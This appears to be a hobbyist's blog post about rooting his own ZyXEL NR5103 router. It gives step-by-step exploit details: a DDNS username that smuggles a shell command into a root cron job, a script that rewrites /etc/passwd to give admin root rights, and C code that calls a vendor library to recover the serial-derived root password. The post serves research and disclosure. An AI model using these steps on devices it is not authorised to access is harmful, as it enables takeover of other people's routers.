Greetings,
Here are some details I've gathered about ZyXeL NR5103 while I was trying out my options for doing something about the latest vendor firmware having multiple open CVEs. I mistakenly thought this manufacturer would actually provide updates in a timely manner.
Stock firmware
The latest publicly available version is called V4.19(ABYC.3)C0
and it is based on OpenWRT 19.07.7. The additions and modifications are, at a lack of better word, interesting.
Like any good citizen, I've filed a request with ZyXeL for the release of the open source code related to the product. They actually promised to send me something on 30th of September. I'll post about it once I have something to write about.
Root
If someone is interested, I can write in more detail about how I found this one. Anyway, follow the instructions and you'll get root
in 59 minutes at most!
# the basic idea is to set up DDNS (not supported on this model)
# and use a missing shell escape to run an arbitrary shell script
# as root. first, enable SSH access from the web GUI. ssh in with
# user admin, password is the same that you use for the GUI.
#
# then let's run one of the configuration utilities.
admin@NR5103:~$ cfg ddns --help
<...instructions...>
# sadly I sort of bricked my NR5103 so I can't give the exact
# command I used but the help output was rather clear about
# how to configure a user-defined DDNS service, which is just
# what we want to do.
#
# the cfg command is prone to segfaulting at the slightest error. you
# need to supply every parameter for the config items every time or
# your changes will be applied only partially or not at all, depending
# on where the segfault happens.
#
# the other parameters don't matter as long as the utility doesn't
# segfault but your username should be something like:
#
# user;/tmp/x;
#
# this will make the router run a cron job with insufficient argument
# escaping at midnight. use the router web GUI to adjust time zone so
# that you get closest to midnight. unfortunately the gui or cmdline
# don't seem to offer a way of setting the time directly.
#
# it should set up a cron job with the obvious error in the user name
# escape, letting us run as root whatever we want by creating a
# shell script.
admin@NR5103$ cat tmp/spool/cron/ddns/root
0 0 * * * /usr/sbin/ez-ipupdate -S userdefined -U http://10.100.200.1/ddns -h test -u user;/tmp/x;:user -i eth1 -t 10
# regarding what our script should contain, there's an interesting
# quirky modification in the firmware kernel: suid bit does nothing.
#
# so, I settled for this:
admin@NR5103:~$ touch /tmp/x; chmod 755 /tmp/x; cat << EOF > /tmp/x
#!/bin/sh
cat /etc/passwd|sed s,21:21,0:0,g > /tmp/y
cat /tmp/y > /etc/passwd
EOF
admin@NR5103:~$
# ...then just wait until the system clock rolls over and login again
# over ssh as admin. lo and behold, admin has become root!
Root password
NB: sadly my notes fail me again - I may not have tested this as the admin
user. However, this is useful either way, as you no longer have to repeat the above procedure every time you reboot the stock firmware because you already know the root password and can just login normally.
These devices use the same password for root
and supervisor
users. supervisor
has more rights than the default admin
but isn't obviously root
. The password is derived from the unit serial number, so I figured there must be library functions in there for generating it.
So, I dumped everything from the router to my computer, fired up Ghidra and turns out libzyutil.so
has a promising function zyUtilIGetMrdMasterPass
, returning what's essentially an array of strings .
First, clone yourself an OpenWTR build dir, check out tag v19.07.7
, and set it up for zyxel_ex5601
. Others may work too but this one was the first one I tried and had enough superficial similarity to actually work - similar enough CPU, same libc, etc. Build the cross-compilation toolchain and then compile this:
#include <stdio.h>
extern void zyUtilIGetMrdMasterPass(unsigned char **param_1);
int main(void)
{
unsigned char *a[16] = {
[0 ... 15] = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
};
zyUtilIGetMrdMasterPass(a);
for(int i=0;i < 16; i++)
printf("%d: %s\n", i, a[i]);
}
Either you have to copy the vendor library over or just do what I did:
export CC="../staging_dir/toolchain-aarch64_cortex-a53_gcc-13.3.0_musl/bin/aarch64-openwrt-linux-musl-gcc"
${CC} give_password.c -L../staging_dir/target-aarch64_cortex-a53_musl/root-mediatek/lib -lzyutil -lssl -Wl,--allow-shlib-undefined -o give_password
Then copy it over and run. For convenience, here's a ready-built binary which you can just scp
over to your router and run. I would be interested to know if this works on other current ZyXeL devices, too.
I'll post more later tonight, I got as far as successfully writing partitions and accidentally bricking the device. After this I took it apart, uncovered everything and possibly broke it for good.